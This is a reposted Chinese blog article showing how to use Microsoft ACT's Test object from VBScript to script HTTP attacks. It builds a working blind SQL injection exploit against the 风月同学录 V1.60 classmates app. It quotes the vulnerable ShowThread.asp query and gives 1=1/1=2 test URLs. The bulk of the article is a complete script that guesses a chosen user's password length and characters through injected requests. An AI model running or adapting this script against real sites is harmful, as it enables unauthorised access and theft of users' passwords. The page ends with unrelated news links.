分享
 
 
 

用vbs来写sql注入等80端口的攻击脚本

王朝网站推广·作者佚名  2011-12-04
窄屏简体版  字體: |||超大  

来源:http://www.viphot.com/

昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中:

-Connection对象

Close方法

Send方法

IsOpen属性

Port属性

RedirectDepth属性

Server属性

UseSSL属性

-Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵

Expires属性

Name属性

Path属性

Value属性

-Cookies对象

Add方法

Remove方法

RemoveAll方法

Count属性

Item属性

-Header对象

Name属性

Value属性

-Request对象

Body属性

CodePage属性

EncodeBody属性

EncodeQueryAsUTF8属性

Headers属性

HTTPVersion属性

Path属性

ResponseBufferSize属性

Verb属性

-Response对象

Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。

CodePage属性

BytesRecv属性

BytesSent属性

ContentLength属性

Headers属性

HeaderSize属性

HTTPVersion属性

Path属性

Port属性

ResultCode属性

HTTP状态代码

Server属性

TTFB属性

TTLB属性

UseSSl属性

-Test对象

CreateConnection方法

CreateRequest方法

GetCurrentUser方法

GetGlobalIndex方法

GetGlobalVariable方法

GetNextUser方法

IncrementGlobalIndex方法

SendRequest方法

SetGlobalIndex方法

SetGlobalVariable方法

Sleep方法

Trace方法

TraceLevel属性

-User对象

Cookies属性

Name属性

Password属性

到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明:

oResponse = Test.SendRequest(strURL)

参数:strURL as string:表示所请求的URL

返回值:oResponse As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象)

这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:

风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里:

...

topicid=request("RootID")

sql="select topic,hits from bbs where parentid=0 and bbsid="&topicid

set rs=conn.execute(sql)

...

非常古老且经典的一个,呵呵,试了下:

http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=1

http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%201=2

数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。

要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。

'*********************************************

'风月同学录V1.60漏洞测试脚本 by luoluo

'注意:需要装Visual Studio.Net里的ACT工具

'*********************************************

'**********************************优化了下,效率要高些

Option Explicit

On Error Resume Next

Dim Test

Dim o_Response

Dim Wrong

Dim i,j,k

Dim pwd_len

Dim pwd

Dim strings

Dim username

'从命令行得到要破解的人的用户名

If WScript.Arguments.Count > 0 Then

username = WScript.Arguments(0)

Else

username = "luoluo"

End If

WScript.Echo "开始探测,请等待... ..."

'正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了

Wrong = "luoluoisachinesehacker"

'存放密码

pwd = ""

'密码的字符范围

strings = "0123456789abcdefghijklmnopqrstuvwxyz"

'建立对象

Set Test = CreateObject("ACT.Test")

'得到用户的密码的长度

For i = 0 to 128 step 1

'发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些

Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20len(userpwd)='" & i & "'%20and%20userid='" & username & "')")

'如果返回的页面里有正确标志那么长度就对了

If instr(o_Response.Body, Wrong) <> 0 Then

pwd_len = "" & i & ""

Exit For

End If

Next

'猜解用户的密码

For j = 1 to pwd_len step 1

For k = 1 to len(strings) step 1

Set o_Response = Test.SendRequest("http://192.168.101.16/txl/ShowThread.asp?RootID=7%20and%20exists%20(select%20userid%20from%20student%20where%20left(userpwd," & j & ")='" & pwd & mid(strings,k,1) & "'%20and%20userid='" & username & "')")

If instr(o_Response.Body, Wrong) <> 0 Then

pwd = pwd & mid(strings,k,1)

Exit For

End If

Next

Next

If err Then

WScript.Echo "错误:" & Error.Description

Error.Clear

Else

'输出密码

WScript.Echo "密码:" & pwd

End If

Set Test = nothing

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有